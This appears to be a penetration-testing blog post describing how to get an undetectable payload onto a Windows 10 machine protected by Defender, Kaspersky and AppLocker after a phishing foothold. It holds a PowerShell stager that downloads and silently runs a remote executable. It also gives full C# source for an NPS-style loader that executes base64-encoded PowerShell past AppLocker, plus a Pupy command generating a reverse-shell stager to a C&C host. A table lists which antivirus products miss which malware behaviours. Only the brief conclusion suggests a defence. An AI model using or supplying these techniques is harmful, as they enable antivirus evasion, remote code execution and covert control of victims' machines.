Windows - undetectable payload
We have learnt that gaining an access to a Windows 10 machine seems possible with enough social engineering employed in our camping. Next step on attackers list would be to use privilege escalation methods should he decides to gain administrative rights on the machine.
I find Xmind a decent tool for organising what we know about Windows Privledge Escalation techniques.
Windows Privledge Escalation (work in progress)
Let's put the theory into practice and imagine a scenario where an attacker managed to place his foot in the door through a phishing campaign and landed on a Windows 10 1809 LTSC, with Windows Defender and Kaspersky AV Total Security enabled.
As an extra security measure cautious local administrator has disabled an access (through applocker) to a command prompt both cmd.exe and powershell.exe for a user operating the system. External network firewall appliance policy is strict to only allow most commonly used ports to be opened and any illegitimate traffic using TCP is being blocked.
Savvy attacker would anticipate above obstacles in advance when designing the malware and due to availability of consumer AV solutions he could test out the effectiveness of each of them beforehand.
Main differences in AV solutions behaviour based on my limited testing: (should be applicable to everyone running the same setup since AV signatures and behaviours are constantly updated with the main database):
Criteria
Windows Defender
Kaspersky AV
Malicious commands stored in the *.txt
not blocked
blocked
Malware adding itself to registry
not blocked
blocked
NPS payload executing PS commands
not blocked
not blocked
Downloads from http or serving known malware
not blocked
blocked
Malware executing system commands
not blocked
blocked (only whoami)
Pyinstaller programs build with -w (no window)
not blocked
blocked
Python malware build with Pyinstaller (on Linux)
blocked
blocked
Python malware build with Pyinstaller (on Windows)
not blocked
not blocked
IronPython SILENTTRINITY
not blocked
not blocked
*NPS payload is creating its own process that hosts the System.Management.Automation.dll and executes powershell commands even if it is blocked by applocker policy. Seems like creating own process this way is enough to bypass AV solutions on the Windows System. Interestingly enough this technique goes back to 2013 and is still a valid applocker and .... AV bypass method. Several projects have included it in their code: UnmanagedPowerShell, SharpPick, PSAttack, and nps.
1) In order to create a stager that will download the malware and run it (an access to Windows native tools such as certutils or bitsadmin can be blocked as well) I used an NPS payload itself with a build in command that will bypass powershell restriction and execute :
1
(New-Object System.Net.WebClient).DownloadFile("https://url/malware.exe", "C:\Windows\Temp\NPS.exe"); start-process "C:\Windows\Temp\NPS.exe" -WindowStyle Hidden
Copied!
Quick explanation:
There are actually two powershell commands, first one downloads the malware and saves it in a world-writeable folder C:/Windows/Temp. The second command will run it in the background without opening a window. It is also paramount to base64 encode above command and include it in the below section of Program.cs, compile it and host it on the given URL.
The Program.cs required a slight modification for it to work, it accepts only base64 input:
1
using System;
2
using System.Collections.ObjectModel;
3
using System.Management.Automation;
4
using System.Management.Automation.Runspaces;
5
6
namespace nps
7
{
8
class Program
9
{
10
static void Main(string[] args)
11
{
12
if (args.Length <= 1)
13
{
14
15
{
16
PowerShell ps = PowerShell.Create();
17
//if (args[0].ToLower() == "" || args[0].ToLower() == "")
18
{
19
String script = "";
20
//for (int argidx = 1; argidx < args.Length; argidx++)
21
//int argidx = ;
22
{
23
script += System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String("base64encodedpowershellcommand"));
24
}
25
ps.AddScript(script);
26
}
27
28
Collection<PSObject> output = null;
29
try
30
{
31
output = ps.Invoke();
32
}
33
catch(Exception e)
34
{
35
Console.WriteLine("Error while executing the script.\r\n" + e.Message.ToString());
36
}
37
if (output != null)
38
{
39
foreach (PSObject rtnItem in output)
40
{
41
Console.WriteLine(rtnItem.ToString());
42
}
43
}
44
}
45
}
46
else
47
48
{
49
Console.WriteLine("usage:\r\nnps.exe -encodedcommand {base64_encoded_command}");
50
}
51
}
52
}
53
}
54
Copied!
Bonus tip: NPS payload can be used to stage a Pupy shell! where an attacker would also gain an access to many features allowing him to perform either lateral movement on the network or escalate his privilege should the weaknesses in the system exist!
2) Generate a ps1_onliner stager: gen -f ps1_oneliner connect --host 192.168.1.108:443 -t http
Copy the base64 generated goodness to an NPS payload and compile it under Windows with Visual Studio. The resulted executable ony 6k in size will be undetectable by Kaspersky:
Successful reverse shell back to Pupy C&C server from Windows 10 Machine running Kaspersky AV.
Conclusions and recommendations:
Executing the payload and gaining back a control of the compromised machines was possible due to NPS payload not being detected by an AV (yet). After issuing a command "whoami" or "whoami /priv" we immediately have lost the connection and our NPS payload has been added to AV signatures. However this type of protection isn't robust enough as an attacker can use an external program to obfuscate the source code just slightly enough to fool AV signatures. The remedy to that problem can be an Applocker rule that is blacklisting the modified System.Management.Automation.dll (since NPS payload relies on it) if possible.
Copy link